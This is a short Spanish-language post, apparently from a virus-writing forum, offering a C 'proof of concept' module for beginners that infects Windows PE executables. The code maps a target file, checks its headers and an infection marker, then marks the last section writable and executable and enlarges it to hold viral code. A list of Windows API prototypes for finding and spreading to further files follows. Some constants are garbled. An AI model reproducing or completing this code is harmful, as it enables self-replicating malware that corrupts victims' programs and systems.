Modulo para infectar ficheros al estilo de un W32, prueba de concepto para aquellos que empiecen en la scene de vx.




void _InfectFile(char *szFile)
{
int OldAttr;
void *hFile;
void *hMapFile;
unsigned long ulSize;
unsigned long *ulAddress;
unsigned long ulEP;
unsigned long ulFileAl;
unsigned long ulBase;
//unsigned long ulCalc;

FILETIME lpCreationTime,lpAccessTime,lpWriteTime;

OldAttr = _GetFileAttributes(szFile);

if(_SetFileAttributes(szFile,0x80))
{
printf("attributes setted...\n");

if((int)(hFile=_CreateFile(szFile,0x80000000|0x400 00000,0x0,0x0,0x3,0x0,0x0))!=-1)
{
printf("File created ..\n");
_GetFileTime(hFile,&lpCreationTime,&lpAccessTime,& lpWriteTime);

ulSize = _GetFileSize(hFile,0x0);

if(hMapFile = _CreateFileMapping(hFile,0x0,0x4,0x0,ulSize,0x0))
{
printf("Map created ... \n");
if(ulBase = (UL)ulAddress = (UL)(UL*)_MapViewOfFile(hMapFile,0x2,0x0,0x0,0x0))
{
printf("ulAddress created at %s ...\n",ulAddress);
if(*ulAddress == 0x905A4D)
{
printf("ulAddress == 0x905A4D ... \n");
if(*(UL*)(ulAddress+0x38) == 0x5658)
{
return;
}

(UL)ulAddress = *(UL*)((UL)ulAddress+0x3C)+(UL)ulBase;

printf("ulAddress set to %s .. \n",ulAddress);

if(*ulAddress == 0x00004550)
{
printf("ulAddress == 0x00004550 ... \n");
if((*(UL*)((UL)ulAddress+0x16)) & 0x002 &&
(*(UL*)((UL)ulAddress+0x16)) & 0x100 &&
!((*(UL*)((UL)ulAddress+0x16)) & 0x2000 &&
!((*(UL*)((UL)ulAddress+0x16)) & 0x1000)))
{
printf("File mask valid ... \n");

ulEP = *(UL*)((UL)ulAddress + 0x28)+ulBase;

ulFileAl = *(UL*)((UL)ulAddress + 0x3C);

(UL)ulAddress+=(((short)*(UL*)((UL)ulAddress+0x74) )<<3)+((((short)*(UL*)((UL)ulAddress+0x6))-1)*0x28)+0x78;

*(UL*)((UL)ulAddress+0x24) = 0x00000020 | 0x20000000 | 0x80000000;

*(UL*)((UL)ulAddress+0x8) = *(UL*)((UL)ulAddress+0x8) + (UL)VirSize;
}
}
}
printf("Passing W32Binary module for loan .. \n");
}
}
}
}
}




Prototipos necesarios:



fLoadLibraryA _LoadLibrary;
fMessageBoxA _MessageBox;
fCreateFileA _CreateFile;
fGetFileAttributesA _GetFileAttributes;
fSetFileAttributesA _SetFileAttributes;
fGetFileTime _GetFileTime;
fGetFileSize _GetFileSize;
fCreateFileMappingA _CreateFileMapping;
fMapViewOfFile _MapViewOfFile;
fFindFirstFileA _FindFirstFile;
fFindNextFileA _FindNextFile;
fFindClose _FindClose;
fSetCurrentDirectory _SetCurrentDirectory;



tomados de windows base compiler (librerias estandar de windows).





saludos